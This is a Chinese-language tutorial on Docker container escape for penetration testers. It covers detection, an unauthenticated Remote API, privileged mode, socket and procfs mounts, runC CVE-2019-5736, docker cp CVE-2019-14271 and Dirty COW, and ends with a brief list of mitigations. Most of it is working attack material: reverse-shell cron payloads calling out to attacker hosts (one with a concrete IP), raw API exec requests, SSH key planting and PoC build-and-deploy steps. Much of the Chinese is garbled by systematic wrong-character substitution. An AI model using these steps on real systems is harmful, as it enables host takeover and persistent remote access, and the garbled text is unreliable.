Docker逃逸在浸透测试中面向的场景大略是这样,浸透拿到shell后,发现主机是docker环境,要进一步浸透,就必须逃逸到“间接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的状况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断以后环境是否为docker容器环境,其次通过几种形式进行docker逃逸。
如何判断以后机器是否为Docker容器环境
1、查看是否存在.dockererenv文件ls -alh /.dockerenv
2、查看/proc/1/cgroup是否存在docker字符串cat /proc/1/cgroup |grep docker
3、其余检测形式
mount、fdisk -l查看硬盘、判断PID 1的过程名等也可用来辅助判断。
Docker逃逸形式
1、危险的配置导致Docker逃逸
因为"纵深进攻" 和 "最小权限"等理念和准则落地,越来越难以间接利用破绽来进行利用。另一方面,公开的破绽,平安运维人员可能及时将其修复,当然,未免存在漏网之鱼。相同,更多的是利用谬误的、危险的配置来进行利用,不仅仅Docker逃逸,其余破绽也是,比方生产环境开启Debug模式导致破绽利用等等。
Docker曾经将容器运行时的Capabilities黑名单机制改为现在的默认禁止所有Capabilities,再以白名单形式赋予容器运行所需的最小权限。
2、docket remote api未受权拜访导致逃逸。
docker swarm是治理docker集群的工具。主从治理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,能够通过HTTP、Python、调用API来操作Docker
Docker Remote API的端口2375端口
拜访http://your-ip:2375/version
在kali上开启nc监听本地端口,用来接管反弹shell。
反弹Shell exp:
import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
执行脚本,shell会反弹到kali主机上
Github上的exp:https://github.com/Tycx2ry/do...
另一种形式
首先拜访http://your-ip:2375/version
拜访http://ip:2375/containers/json
创立一个包,失去返回的exec_id的参数,数据包内容如下:
POST /containers/<container_id>/exec HTTP/1.1Host: <docker_host>:PORTContent-Type: application/jsonContent-Length: 188{“AttachStdin”: true,“AttachStdout”: true,“AttachStderr”: true,“Cmd”: [“cat”, “/etc/passwd”],“DetachKeys”: “ctrl-p,ctrl-q”,“Privileged”: true,“Tty”: true}
留神其中的cmd字段,这个就是要执行的命令。
失去exec_id参数后结构第二个exec_start数据包,内容如下
POST /exec/<exec_id>/start HTTP/1.1Host: <docker_host>:PORTContent-Type: application/json{“Detach”: false,“Tty”: false}
到此胜利获取到docker主机的命令执行权限,然而还没有逃逸到宿主机,在docker容器中装置docker做为client(kali中有的话就不须要了)
apt-get install docker.io``yum -y install docker
查看宿主机的docker image信息
docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录装到容器内的某个目录。
启动一个容器并且将宿主机的根目录装到容器内的某个目录。
上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下
写一个打算工作反弹shell(或者写.ssh公钥都OK)
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
在vps上应用nc命令期待反弹过去的shellnc -lvp 8888
3、Docker高危启动参数--privileged 特权模式启动容器
应用特权模式启动容器,能够获取大量设施文件拜访权限。因为当管理员执行docker run —privileged时,Docker容器将被容许拜访主机上的所有设施,并能够执行mount命令进行挂载。
当操作者执行docker run --privileged时,Docker将容许容器拜访宿主机上的所有设施,同时批改AppArmor或SELinux的配置,使容器领有与那些间接运行在宿主机上的过程简直雷同的拜访权限。
特权模式启动一个Ubuntu容器:sudo docker run -itd --privileged ubuntu:latest /bin/bash
在特权模式下,逃逸的形式很多,比方:间接在容器外部挂载宿主机磁盘,而后切换根目录。
mkdir /test
mount /dev/vda1 /test
新建一个目录:mkdir /test 挂载磁盘到新建目录:mount /dev/vda1 /test 切换根目录:chroot /test 到这里曾经胜利逃逸了,而后就是惯例的反弹shell 和 写 SSH 了(和redis未受权差不多)。
其余参数:Docker 通过Linux namespace实现6项资源隔离,包含主机名、用户权限、文件系统、网络、过程号、过程间通信。但局部启动参数授予容器权限较大的权限,从而突破了资源隔离的界线。
--cap-add=SYS_ADMIN 启动时,容许执行mount特权操作,需取得资源挂载进行利用。
--net=host 启动时,绕过Network Namespace
--pid=host 启动时,绕过PID Namespace
--ipc=host 启动时,绕过IPC Namespace
如果要写SSH的话,须要挂载宿主机的root目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys 而后ssh 私钥登录
写打算工作,反弹宿主机Shell。echo ' * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
4、危险挂载导致Docker逃逸
挂载目录(-v /:/soft)
docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash
挂载Docker Socket
Docker采纳C/S架构,咱们平时应用的Docker命令中,docker即为client,Server端的角色由docker daemon表演,二者之间通信形式有以下3种:
unix:///var/run/docker.sock(默认
tcp://host:port
fd://socketfd
Docker Socket是Docker守护过程监听的Unix域套接字,用来与守护过程通信——查问信息或下发命令。
逃逸复现:
1、首先创立一个容器并挂载/var/run/docker.sock;docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2、在该容器内装置Docker命令行客户端;apt-update apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg-agent \ software-properties-common curl -fsSL https://mirrors.ustc.edu.cn/d...| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \ "deb [arch=amd64] https://mirrors.ustc.edu.cn/d...\ $(lsb_release -cs) \ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io
3、接着应用该客户端通过Docker Socket与Docker守护过程通信,发送命令创立并运行一个新的容器,将宿主机的根目录挂载到新创建的容器外部;docker run -it -v /:/host ubuntu:18.04 /bin/bash
4、在新容器内执行chroot将根目录切换到挂载的宿主机根目录。已胜利逃逸到宿主机。
挂载宿主机procfs
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
为了辨别,挂载到容器的/host/目录下
procfs是一个伪文件系统,它动静反映着零碎内过程及其他组件的状态,其中有许多非常敏感重要的文件。因而,将宿主机的procfs挂载到不受控的容器中也是非常危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
从2.6.19内核版本开始,Linux反对在/proc/sys/kernel/core_pattern中应用新语法。如果该文件中的首个字符是管道符|,那么该行的残余内容将被当作用户空间程序或脚本解释并执行。
Docker默认状况下不会为容器开启User Namespace依据参考资料1,个别状况下不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些非凡须要,还是会有。一些细节原理看参考资料1哈,这里专一于利用。复现:“在挂载procfs的容器内利用core_pattern后门实现逃逸“ 利用思路:攻击者进入到挂载了宿主机profs的容器,root权限,而后向宿主机的procfs写Payload
5、runC容器逃逸破绽CVE-2019-5736
Docker 18.09.2之前的版本中应用了的runc版本小于1.0-rc6,因而容许攻击者重写宿主机上的runc 二进制文件,攻击者能够在宿主机上以root身份执行命令。
即通过在docker容器中重写和运行主机零碎的runc二进制文件达到逃逸的目标 利用条件:Docker版本 < 18.09.2,runc版本< 1.0-rc6,个别状况下,可通过 docker 和docker-runc 查看以后版本状况。
版本适合的状况上来尝试
首先咱们要有一个docker下的shell,第二步利用脚本中的反弹shell命令,第三步应用go build来编译脚本,第四步将脚本上传到docker中,第五步期待宿主机执行exec进入以后docker容器的时候,宿主机就会向咱们的vps反弹root权限的shell
下载pocgit clone https://github.com/Frichetten...批改Payloadvi main.go
选中局部批改\n前面的命令为反弹shell命令即可payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"
编译生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go拷贝到docker容器中执行sudo docker cp ./main 248f8b7d3c45:/tmp
也能够先上传到github上,用git clone命令下载。或者上传到vps上,而后在vps上用python开启一个http服务,再用wget下载即可。
执行此脚本,而后期待宿主机用户进入这个容器中:
docker exec -it test /bin/bash
面命令的含意是进入test这个容器,当宿主机上执行exec命令来进入咱们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给咱们的vps的监听端口,至此利用完结。
如果没有人在宿主机执行的话是无奈docker逃逸的
6、Docker cp命令容器逃逸攻打破绽CVE-2019-14271
当Docker宿主机应用cp命令时,会调用辅助过程docker-tar,该过程没有被容器化,且会在运行时动静加载一些libnss.so库。黑客能够通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,胜利实现Docker逃逸,取得宿主机root权限。影响版本:Docker 19.03.0
破绽原理
Copy命令容许从容器复制文件。复制文件到容器以及在容器之间复制文件。它的语法和规范Unix的cp命令十分类似。如果从容器中复制/var/logs/,须要应用的语法为:
docker cp container_name:/var/logs /some/host/path.
把文件复制到容器外,docker须要借助一个名为docker-tar的帮忙过程
docker-tar的工作原理是对文件进行chroot,将申请的文件和目录放在其中,而后将其生成的tar文件传递回Docker的守护程序,该守护程序负责将其提取到宿主机的目标目录中。
CHROOT就是Change Root,也就是扭转程序执行时所参考的根目录地位
Docker-tar chroot进入容器:
抉择chroot的形式,有一个次要起因是为了防止符号链接问题,当主机过程尝试拜访容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果蕴含符号链接,那么可能会在无心中将其解析为主机根目录。这就为攻击者管制的容器敞开了大门,使得攻击者能够尝试让docker cp在宿主机而非容器上读取和写入文件
有破绽的版本应用Go v1.11编译而成的
这个版本中的一些蕴含嵌入式C语言代码的软件包(cgo)在运行时会加载动静共享库
这些软件包包含net和os/user,都会被docker-tar应用,它们会在运行时加载多个libnss_*.so库。
通常,这些库会从宿主机的文件系统中加载,然而因为docker-tar会chroots到容器中,因而它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发动和管制的代码。
须要阐明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具备所有root能力,并且不会受到cgroups或seccomp的限度。
有一种可能的攻打场景,是Docker用户从以下任一用户的地位复制一些文件:
1、运行蕴含歹意libnss_*.so库中歹意映像的容器;
2、受到攻打的容器,且攻击者替换了其中的libnss_*.so库
在这两种状况时,攻击者都能够在宿主机上实现root权限的任意代码执行。
利用思路
找出docker-tar具体会加载那些容器内的动态链接库
下载对应动态链接库源码,为其减少一个attribute((constructor))属性的函数run_at_link(该属性意味着在动态链接库被过程加载时,run_at_link函数会首先被执行),在run_at_link函数中搁置咱们心愿docker-tar执行的攻打载荷(payload);编译生成动静链接文件
编写辅助脚本”/breakout“,将辅助脚本和步骤二生成的歹意动态链接库放入歹意容器,期待用户执行docker cp命令,触发破绽
具体复现利用可参考上面的文章:
https://cloud.tencent.com/dev...
https://blog.csdn.net/qq_4166...
7、Dirty Cow(CVE-2016-5195)脏牛破绽实现Docker 逃逸
前置常识:
VDSO其实就是将内核中的.so文件映射到内存中,.so文件是基于Linux下的动静链接,其性能和作用相似于Windows下的.dll文件
在Linux中,有一个性能:VDSO(virtual dvnamic shared object),这是一个小型共享库,可能将内核主动映射到所有用户程序的地址空间,能够了解成将内核中的函数映射到内存中,不便大家拜访
Dirty cow破绽能够让咱们获取只读内存的写的权限,咱们首先利用dirty cow破绽写入一段shellcode到VDSO映射的一段闲置内存中,而后扭转函数的执行程序,使得调用失常的任意函数之前都要执行这段shellcode。这段shellcode初始化的时候会查看是否被root调用,如果是则继续执行,如果不是,则接着执行clock_gettime函数,接下来它会检测/tmp/.X文件的存在,如果存在,则这时曾经是root权限了,而后它会关上一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。
//这种利用办法利用胜利的前提是,宿主机的内核有Dirty Cow破绽
Dirty Cow(CVE-2016-5195)是Linux内核中的权限晋升破绽,通过它可实现Docker容器逃逸,取得root权限的shell。
Docker 与 宿主机共享内核,因而容器须要在存在dirtyCow破绽的宿主机里。环境获取:git clone https://github.com/gebl/dirty...
利用过程
git clone https://github.com/scumjr/dirtycow-vdso.gitcd /dirtycow-vdso/make./0xdeadbeef #反弹shell到本地主机./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
利用后果
间接反弹宿主机的shell到127.0.0.1
避免docker逃逸的形式
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、笼罩CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸危险
6、不倡议以root权限运行Docker服务
7、不倡议以privileged(特权模式)启动Docker
8、不倡议将宿主机目录挂载至容器目录
9、不倡议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container过程容许执行mount、umount等一系列系统管理操作,存在容器逃逸危险。